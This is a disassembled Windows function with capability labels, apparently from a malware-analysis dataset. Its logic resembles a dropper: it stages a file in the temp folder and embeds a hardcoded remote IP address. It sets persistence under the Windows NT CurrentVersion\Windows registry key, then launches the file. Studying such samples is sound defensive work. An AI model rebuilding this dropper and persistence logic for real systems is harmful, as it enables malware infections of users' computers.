Function at 0x401f20
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1d88
call fcn.00419210
mov eax, dword [0x433c20]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x2a0], 0
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 0
xor eax, eax
mov word [ebp - 0x6f8], ax
push 0x206
push 0
lea ecx, [ebp - 0x6f6]
push ecx
call fcn.00416d60
add esp, 0xc
xor edx, edx
mov word [ebp - 0x1830], dx
push 0x206
push 0
lea eax, [ebp - 0x182e]
push eax
call fcn.00416d60
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x1620], cx
push 0x206
push 0
lea edx, [ebp - 0x161e]
push edx
call fcn.00416d60
add esp, 0xc
xor eax, eax
mov word [ebp - 0x2e4], ax
xor ecx, ecx
mov dword [ebp - 0x2e2], ecx
mov dword [ebp - 0x2de], ecx
mov dword [ebp - 0x2da], ecx
mov dword [ebp - 0x2d6], ecx
mov dword [ebp - 0x2d2], ecx
mov dword [ebp - 0x2ce], ecx
mov dword [ebp - 0x2ca], ecx
mov word [ebp - 0x2c6], cx
mov dx, word [0x42e704]
mov word [ebp - 0x290], dx
push 0x7e
push 0
lea eax, [ebp - 0x28e]
push eax
call fcn.00416d60
add esp, 0xc
mov cx, word [0x42e708]
mov word [ebp - 0x1210], cx
push 0x7e
push 0
lea edx, [ebp - 0x120e]
push edx
call fcn.00416d60
add esp, 0xc
xor eax, eax
mov word [ebp - 0x98c], ax
mov cx, word [0x42e70c]
mov word [ebp - 0x988], cx
push 0x7e
push 0
lea edx, [ebp - 0x986]
push edx
call fcn.00416d60
add esp, 0xc
xor eax, eax
mov word [ebp - 0x1624], ax
xor ecx, ecx
mov word [ebp - 0x1418], cx
push 0x206
push 0
lea edx, [ebp - 0x1416]
push edx
call fcn.00416d60
add esp, 0xc
xor eax, eax
mov word [ebp - 0x2c4], ax
xor ecx, ecx
mov dword [ebp - 0x2c2], ecx
mov dword [ebp - 0x2be], ecx
mov dword [ebp - 0x2ba], ecx
mov dword [ebp - 0x2b6], ecx
mov dword [ebp - 0x2b2], ecx
mov dword [ebp - 0x2ae], ecx
mov dword [ebp - 0x2aa], ecx
mov word [ebp - 0x2a6], cx
mov dword [ebp - 0x4ec], 0
mov dword [ebp - 0x29c], 0
xor edx, edx
mov word [ebp - 0x900], dx
push 0x206
push 0
lea eax, [ebp - 0x8fe]
push eax
call fcn.00416d60
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x210], cx
push 0x206
push 0
lea edx, [ebp - 0x20e]
push edx
call fcn.00416d60
add esp, 0xc
mov dword [ebp - 0x2a4], 0
push 0x200
push 0
lea eax, [ebp - 0x4e8]
push eax
call fcn.00416d60
add esp, 0xc
push 1
lea edi, [ebp - 0x4e8]
call fcn.00403a20
add esp, 4
mov dword [ebp - 0x298], eax
push 0x104
lea ecx, [ebp - 0x1830]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [ebp - 0x6f8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.HGDraw.dll
push 0x104
lea eax, [ebp - 0x6f8]
push eax
call fcn.004147dd
add esp, 0xc
lea ecx, [ebp - 0x6f8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x298], 0
je 0x4025a9
lea edx, [ebp - 0x6f8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x360]
push eax
push 0x104
lea ecx, [ebp - 0x6f8]
push ecx
call fcn.004147dd
add esp, 0xc
push 0x42e728
push 0x104
lea edx, [ebp - 0x6f8]
push edx
call fcn.004147dd
add esp, 0xc
lea eax, [ebp - 0x6f8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x340]
push ecx
push 0x10
lea edx, [ebp - 0x2e4]
push edx
call fcn.0041485a
add esp, 0xc
lea edi, [ebp - 0x6f8]
lea esi, [ebp - 0x340]
call fcn.00403ce0
lea esi, [ebp - 0x340]
call fcn.00403d80
cmp eax, 1
jne 0x402234
xor eax, eax
jmp 0x402e94
lea eax, [ebp - 0x340]
mov dword [ebp - 0x1c74], eax
lea ecx, [ebp - 0x900]
mov dword [ebp - 0x1c78], ecx
mov edx, dword [ebp - 0x1c78]
mov dword [ebp - 0x1c7c], edx
mov eax, dword [ebp - 0x1c74]
mov cx, word [eax]
mov word [ebp - 0x1c7e], cx
mov edx, dword [ebp - 0x1c78]
mov ax, word [ebp - 0x1c7e]
mov word [edx], ax
mov ecx, dword [ebp - 0x1c74]
add ecx, 2
mov dword [ebp - 0x1c74], ecx
mov edx, dword [ebp - 0x1c78]
add edx, 2
mov dword [ebp - 0x1c78], edx
cmp word [ebp - 0x1c7e], 0
jne 0x402258
lea eax, [ebp - 0x340]
mov dword [ebp - 0x1c84], eax
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x1c88], ecx
mov edx, dword [ebp - 0x1c88]
mov dword [ebp - 0x1c8c], edx
mov eax, dword [ebp - 0x1c84]
mov cx, word [eax]
mov word [ebp - 0x1c8e], cx
mov edx, dword [ebp - 0x1c88]
mov ax, word [ebp - 0x1c8e]
mov word [edx], ax
mov ecx, dword [ebp - 0x1c84]
add ecx, 2
mov dword [ebp - 0x1c84], ecx
mov edx, dword [ebp - 0x1c88]
add edx, 2
mov dword [ebp - 0x1c88], edx
cmp word [ebp - 0x1c8e], 0
jne 0x4022c4
lea eax, [ebp - 0x210]
add eax, 0xfffffffe
mov dword [ebp - 0x1c94], eax
mov ecx, dword [ebp - 0x1c94]
mov dx, word [ecx + 2]
mov word [ebp - 0x1c96], dx
add dword [ebp - 0x1c94], 2
cmp word [ebp - 0x1c96], 0
jne 0x40231b
mov edi, dword [ebp - 0x1c94]
mov eax, dword [str._STOP]
mov dword [edi], eax
mov ecx, dword [0x42e738]
mov dword [edi + 4], ecx
mov edx, dword [0x42e73c]
mov dword [edi + 8], edx
lea eax, [ebp - 0x900]
push eax
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0
je 0x402408
mov ecx, dword [ebp - 0x2a4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x210]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x1a34], 0
lea eax, [ebp - 0x900]
push eax
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0
je 0x402408
cmp dword [ebp - 0x1a34], 5
jge 0x402408
mov ecx, dword [ebp - 0x2a4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x1a34]
add edx, 1
mov dword [ebp - 0x1a34], edx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4023b3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x6f8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x4e4]
mov dword [ebp - 0x1c9c], ecx
lea edx, [ebp - 0x1210]
mov dword [ebp - 0x1ca0], edx
mov eax, dword [ebp - 0x1ca0]
mov dword [ebp - 0x1ca4], eax
mov ecx, dword [ebp - 0x1c9c]
mov dx, word [ecx]
mov word [ebp - 0x1ca6], dx
mov eax, dword [ebp - 0x1ca0]
mov cx, word [ebp - 0x1ca6]
mov word [eax], cx
mov edx, dword [ebp - 0x1c9c]
add edx, 2
mov dword [ebp - 0x1c9c], edx
mov eax, dword [ebp - 0x1ca0]
add eax, 2
mov dword [ebp - 0x1ca0], eax
cmp word [ebp - 0x1ca6], 0
jne 0x402444
lea ecx, [ebp - 0x462]
mov dword [ebp - 0x1cac], ecx
lea edx, [ebp - 0x290]
mov dword [ebp - 0x1cb0], edx
mov eax, dword [ebp - 0x1cb0]
mov dword [ebp - 0x1cb4], eax
mov ecx, dword [ebp - 0x1cac]
mov dx, word [ecx]
mov word [ebp - 0x1cb6], dx
mov eax, dword [ebp - 0x1cb0]
mov cx, word [ebp - 0x1cb6]
mov word [eax], cx
mov edx, dword [ebp - 0x1cac]
add edx, 2
mov dword [ebp - 0x1cac], edx
mov eax, dword [ebp - 0x1cb0]
add eax, 2
mov dword [ebp - 0x1cb0], eax
cmp word [ebp - 0x1cb6], 0
jne 0x4024b0
lea ecx, [ebp - 0x442]
mov dword [ebp - 0x1cbc], ecx
lea edx, [ebp - 0x988]
mov dword [ebp - 0x1cc0], edx
mov eax, dword [ebp - 0x1cc0]
mov dword [ebp - 0x1cc4], eax
mov ecx, dword [ebp - 0x1cbc]
mov dx, word [ecx]
mov word [ebp - 0x1cc6], dx
mov eax, dword [ebp - 0x1cc0]
mov cx, word [ebp - 0x1cc6]
mov word [eax], cx
mov edx, dword [ebp - 0x1cbc]
add edx, 2
mov dword [ebp - 0x1cbc], edx
mov eax, dword [ebp - 0x1cc0]
add eax, 2
mov dword [ebp - 0x1cc0], eax
cmp word [ebp - 0x1cc6], 0
jne 0x40251c
mov cx, word [ebp - 0x464]
mov word [ebp - 0x98c], cx
mov dx, word [ebp - 0x3c2]
mov word [ebp - 0x1624], dx
mov eax, dword [ebp - 0x320]
mov dword [ebp - 0x4ec], eax
lea ecx, [ebp - 0x360]
push ecx
push 0x10
lea edx, [ebp - 0x2c4]
push edx
call fcn.0041485a
add esp, 0xc
jmp 0x4026ab
push 0x236
push 0
lea eax, [ebp - 0x1c70]
push eax
call fcn.00416d60
add esp, 0xc
lea esi, [ebp - 0x1c70]
call fcn.00403f30
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0
je 0x4026ab
lea ecx, [ebp - 0x1b62]
mov dword [ebp - 0x1ccc], ecx
lea edx, [ebp - 0x290]
mov dword [ebp - 0x1cd0], edx
mov eax, dword [ebp - 0x1cd0]
mov dword [ebp - 0x1cd4], eax
mov ecx, dword [ebp - 0x1ccc]
mov dx, word [ecx]
mov word [ebp - 0x1cd6], dx
mov eax, dword [ebp - 0x1cd0]
mov cx, word [ebp - 0x1cd6]
mov word [eax], cx
mov edx, dword [ebp - 0x1ccc]
add edx, 2
mov dword [ebp - 0x1ccc], edx
mov eax, dword [ebp - 0x1cd0]
add eax, 2
mov dword [ebp - 0x1cd0], eax
cmp word [ebp - 0x1cd6], 0
jne 0x402601
mov cx, word [ebp - 0x1b66]
mov word [ebp - 0x98c], cx
mov dx, word [ebp - 0x1b6c]
mov word [ebp - 0x1624], dx
mov ecx, dword [ebp - 0x1b6a]
lea esi, [ebp - 0x1210]
call fcn.00404340
mov ecx, dword [ebp - 0x1b70]
lea esi, [ebp - 0x988]
call fcn.00404340
lea eax, [ebp - 0x1b42]
push eax
push 0x10
lea ecx, [ebp - 0x2e4]
push ecx
call fcn.0041485a
add esp, 0xc
mov edx, dword [ebp - 0x1c68]
mov dword [ebp - 0x4ec], edx
push 0x200
push 0
lea eax, [ebp - 0x1a30]
push eax
call fcn.00416d60
add esp, 0xc
push 0
lea edi, [ebp - 0x1a30]
call fcn.00403a20
add esp, 4
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0
je 0x40290b
mov dword [ebp - 0x1cdc], 0x42e740
lea ecx, [ebp - 0x988]
mov dword [ebp - 0x1ce0], ecx
mov edx, dword [ebp - 0x1ce0]
mov dword [ebp - 0x1ce4], edx
mov eax, dword [ebp - 0x1cdc]
mov cx, word [eax]
mov word [ebp - 0x1ce6], cx
mov edx, dword [ebp - 0x1ce0]
mov ax, word [ebp - 0x1ce6]
mov word [edx], ax
mov ecx, dword [ebp - 0x1cdc]
add ecx, 2
mov dword [ebp - 0x1cdc], ecx
mov edx, dword [ebp - 0x1ce0]
add edx, 2
mov dword [ebp - 0x1ce0], edx
cmp word [ebp - 0x1ce6], 0
jne 0x402706
lea eax, [ebp - 0x19aa]
mov dword [ebp - 0x1cec], eax
lea ecx, [ebp - 0x290]
mov dword [ebp - 0x1cf0], ecx
mov edx, dword [ebp - 0x1cf0]
mov dword [ebp - 0x1cf4], edx
mov eax, dword [ebp - 0x1cec]
mov cx, word [eax]
mov word [ebp - 0x1cf6], cx
mov edx, dword [ebp - 0x1cf0]
mov ax, word [ebp - 0x1cf6]
mov word [edx], ax
mov ecx, dword [ebp - 0x1cec]
add ecx, 2
mov dword [ebp - 0x1cec], ecx
mov edx, dword [ebp - 0x1cf0]
add edx, 2
mov dword [ebp - 0x1cf0], edx
cmp word [ebp - 0x1cf6], 0
jne 0x402772
lea eax, [ebp - 0x1a2c]
mov dword [ebp - 0x1cfc], eax
lea ecx, [ebp - 0x1210]
mov dword [ebp - 0x1d00], ecx
mov edx, dword [ebp - 0x1d00]
mov dword [ebp - 0x1d04], edx
mov eax, dword [ebp - 0x1cfc]
mov cx, word [eax]
mov word [ebp - 0x1d06], cx
mov edx, dword [ebp - 0x1d00]
mov ax, word [ebp - 0x1d06]
mov word [edx], ax
mov ecx, dword [ebp - 0x1cfc]
add ecx, 2
mov dword [ebp - 0x1cfc], ecx
mov edx, dword [ebp - 0x1d00]
add edx, 2
mov dword [ebp - 0x1d00], edx
cmp word [ebp - 0x1d06], 0
jne 0x4027de
mov ax, word [ebp - 0x19ac]
mov word [ebp - 0x98c], ax
mov cx, word [ebp - 0x190a]
mov word [ebp - 0x1624], cx
mov edx, dword [0x434fb8]
mov dword [ebp - 0x4ec], edx
cmp dword [0x434f90], 3
je 0x402869
push 1
lea esi, [ebp - 0x1418]
call fcn.004043c0
add esp, 4
jmp 0x402879
push 0
lea esi, [ebp - 0x1418]
call fcn.004043c0
add esp, 4
lea eax, [ebp - 0x1418]
mov dword [ebp - 0x1d0c], eax
lea ecx, [ebp - 0x1620]
mov dword [ebp - 0x1d10], ecx
mov edx, dword [ebp - 0x1d10]
mov dword [ebp - 0x1d14], edx
mov eax, dword [ebp - 0x1d0c]
mov cx, word [eax]
mov word [ebp - 0x1d16], cx
mov edx, dword [ebp - 0x1d10]
mov ax, word [ebp - 0x1d16]
mov word [edx], ax
mov ecx, dword [ebp - 0x1d0c]
add ecx, 2
mov dword [ebp - 0x1d0c], ecx
mov edx, dword [ebp - 0x1d10]
add edx, 2
mov dword [ebp - 0x1d10], edx
cmp word [ebp - 0x1d16], 0
jne 0x40289d
push 0x42e75c
push 0x104
lea eax, [ebp - 0x1620]
push eax
call fcn.004147dd
add esp, 0xc
lea ecx, [ebp - 0x1620]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x200
push 0
lea edx, [ebp - 0x4e8]
push edx
call fcn.00416d60
add esp, 0xc
mov dword [ebp - 0x4e8], 0x504d534d
mov eax, 0x51
mov word [ebp - 0x464], ax
mov ecx, 0x2b70
mov word [ebp - 0x3c2], cx
mov dword [ebp - 0x1d1c], 0x42e774
lea edx, [ebp - 0x442]
mov dword [ebp - 0x1d20], edx
mov eax, dword [ebp - 0x1d20]
mov dword [ebp - 0x1d24], eax
mov ecx, dword [ebp - 0x1d1c]
mov dx, word [ecx]
mov word [ebp - 0x1d26], dx
mov eax, dword [ebp - 0x1d20]
mov cx, word [ebp - 0x1d26]
mov word [eax], cx
mov edx, dword [ebp - 0x1d1c]
add edx, 2
mov dword [ebp - 0x1d1c], edx
mov eax, dword [ebp - 0x1d20]
add eax, 2
mov dword [ebp - 0x1d20], eax
cmp word [ebp - 0x1d26], 0
jne 0x402965
mov dword [ebp - 0x1d2c], str.218.54.30.235
lea ecx, [ebp - 0x4e4]
mov dword [ebp - 0x1d30], ecx
mov edx, dword [ebp - 0x1d30]
mov dword [ebp - 0x1d34], edx
mov eax, dword [ebp - 0x1d2c]
mov cx, word [eax]
mov word [ebp - 0x1d36], cx
mov edx, dword [ebp - 0x1d30]
mov ax, word [ebp - 0x1d36]
mov word [edx], ax
mov ecx, dword [ebp - 0x1d2c]
add ecx, 2
mov dword [ebp - 0x1d2c], ecx
mov edx, dword [ebp - 0x1d30]
add edx, 2
mov dword [ebp - 0x1d30], edx
cmp word [ebp - 0x1d36], 0
jne 0x4029cf
mov dword [ebp - 0x1d3c], str.AAAA
lea eax, [ebp - 0x462]
mov dword [ebp - 0x1d40], eax
mov ecx, dword [ebp - 0x1d40]
mov dword [ebp - 0x1d44], ecx
mov edx, dword [ebp - 0x1d3c]
mov ax, word [edx]
mov word [ebp - 0x1d46], ax
mov ecx, dword [ebp - 0x1d40]
mov dx, word [ebp - 0x1d46]
mov word [ecx], dx
mov eax, dword [ebp - 0x1d3c]
add eax, 2
mov dword [ebp - 0x1d3c], eax
mov ecx, dword [ebp - 0x1d40]
add ecx, 2
mov dword [ebp - 0x1d40], ecx
cmp word [ebp - 0x1d46], 0
jne 0x402a39
mov edx, dword [0x434fb8]
mov dword [ebp - 0x320], edx
cmp dword [ebp - 0x298], 0
jne 0x402aa8
cmp dword [ebp - 0x294], 0
jne 0x402aa8
cmp dword [ebp - 0x29c], 0
je 0x402b26
lea eax, [ebp - 0x290]
push eax
lea ecx, [ebp - 0x462]
push ecx
call fcn.00402f00
add esp, 8
lea edx, [ebp - 0x1210]
push edx
lea eax, [ebp - 0x4e4]
push eax
call fcn.00402ee0
add esp, 8
lea ecx, [ebp - 0x988]
push ecx
lea edx, [ebp - 0x442]
push edx
call fcn.00402ee0
add esp, 8
mov ax, word [ebp - 0x98c]
mov word [ebp - 0x464], ax
mov cx, word [ebp - 0x1624]
mov word [ebp - 0x3c2], cx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x320], edx
cmp dword [ebp - 0x4ec], 0
jne 0x402b26
mov eax, dword [0x434fb8]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x1d4c], 0x42e7b8
lea ecx, [ebp - 0x442]
mov dword [ebp - 0x1d50], ecx
mov edx, dword [ebp - 0x1d50]
mov dword [ebp - 0x1d54], edx
mov eax, dword [ebp - 0x1d4c]
mov cx, word [eax]
mov word [ebp - 0x1d56], cx
mov edx, dword [ebp - 0x1d50]
mov ax, word [ebp - 0x1d56]
mov word [edx], ax
mov ecx, dword [ebp - 0x1d4c]
add ecx, 2
mov dword [ebp - 0x1d4c], ecx
mov edx, dword [ebp - 0x1d50]
add edx, 2
mov dword [ebp - 0x1d50], edx
cmp word [ebp - 0x1d56], 0
jne 0x402b48
movzx eax, word [ebp - 0x4e4]
test eax, eax
je 0x402ba6
movzx ecx, word [ebp - 0x464]
test ecx, ecx
jg 0x402bb0
jmp 0x402e84
mov dword [ebp - 0x4e8], 0x504d534d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004148c9
add esp, 4
xor edx, edx
mov word [ebp - 0x1190], dx
push 0x7fe
push 0
lea eax, [ebp - 0x118e]
push eax
call fcn.00416d60
add esp, 0xc
lea ecx, [ebp - 0x2c4]
mov dword [ebp - 0x1d5c], ecx
mov edx, dword [ebp - 0x1d5c]
add edx, 2
mov dword [ebp - 0x1d60], edx
mov eax, dword [ebp - 0x1d5c]
mov cx, word [eax]
mov word [ebp - 0x1d62], cx
add dword [ebp - 0x1d5c], 2
cmp word [ebp - 0x1d62], 0
jne 0x402c03
mov edx, dword [ebp - 0x1d5c]
sub edx, dword [ebp - 0x1d60]
sar edx, 1
mov dword [ebp - 0x1d68], edx
je 0x402c6a
lea eax, [ebp - 0x2c4]
push eax
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402c6a
lea ecx, [ebp - 0x2c4]
push ecx
push 0x10
lea edx, [ebp - 0x360]
push edx
call fcn.0041485a
add esp, 0xc
movzx eax, word [ebp - 0x360]
test eax, eax
jne 0x402ca1
lea ecx, [ebp - 0x1190]
push ecx
push 5
mov eax, 6
call fcn.00404400
add esp, 8
lea edx, [ebp - 0x1190]
push edx
lea eax, [ebp - 0x360]
push eax
call fcn.00402f00
add esp, 8
movzx ecx, word [ebp - 0x340]
test ecx, ecx
jne 0x402d44
lea edx, [ebp - 0x1190]
push edx
push 5
mov eax, 6
call fcn.00404400
add esp, 8
lea eax, [ebp - 0x1190]
push eax
lea ecx, [ebp - 0x340]
push ecx
call fcn.00402f00
add esp, 8
lea edx, [ebp - 0x2e4]
mov dword [ebp - 0x1d6c], edx
mov eax, dword [ebp - 0x1d6c]
add eax, 2
mov dword [ebp - 0x1d70], eax
mov ecx, dword [ebp - 0x1d6c]
mov dx, word [ecx]
mov word [ebp - 0x1d72], dx
add dword [ebp - 0x1d6c], 2
cmp word [ebp - 0x1d72], 0
jne 0x402cf7
mov eax, dword [ebp - 0x1d6c]
sub eax, dword [ebp - 0x1d70]
sar eax, 1
mov dword [ebp - 0x1d78], eax
je 0x402d44
lea ecx, [ebp - 0x2e4]
push ecx
lea edx, [ebp - 0x340]
push edx
call fcn.00402f00
add esp, 8
mov eax, dword [0x434fb4]
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x320], 0
jne 0x402d64
mov ecx, dword [0x434fb8]
mov dword [ebp - 0x320], ecx
lea edx, [ebp - 0x4e8]
push edx
call fcn.00404540
add esp, 4
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0
jne 0x402d8c
jmp 0x402e84
lea edi, [ebp - 0x6f8]
lea esi, [ebp - 0x340]
call fcn.00403ce0
push 0x32
lea eax, [ebp - 0x6f8]
push eax
lea eax, [ebp - 0x1830]
call fcn.004046d0
add esp, 8
mov dword [ebp - 0x904], 0
lea ecx, [ebp - 0x904]
push ecx
push 3
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402e6a
lea edx, [ebp - 0x6f8]
mov dword [ebp - 0x1d7c], edx
mov eax, dword [ebp - 0x1d7c]
add eax, 2
mov dword [ebp - 0x1d80], eax
mov ecx, dword [ebp - 0x1d7c]
mov dx, word [ecx]
mov word [ebp - 0x1d82], dx
add dword [ebp - 0x1d7c], 2
cmp word [ebp - 0x1d82], 0
jne 0x402dfc
mov eax, dword [ebp - 0x1d7c]
sub eax, dword [ebp - 0x1d80]
sar eax, 1
mov dword [ebp - 0x1d88], eax
mov ecx, dword [ebp - 0x1d88]
lea edx, [ecx + ecx + 2]
push edx
lea eax, [ebp - 0x6f8]
push eax
push 1
push 0
push 0x42e844
mov ecx, dword [ebp - 0x904]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x402e6a
mov edx, dword [ebp - 0x904]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x42e84c
lea eax, [ebp - 0x6f8]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x2a0], 1
mov eax, dword [ebp - 0x2a0]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004147ce
mov esp, ebp
pop ebp
ret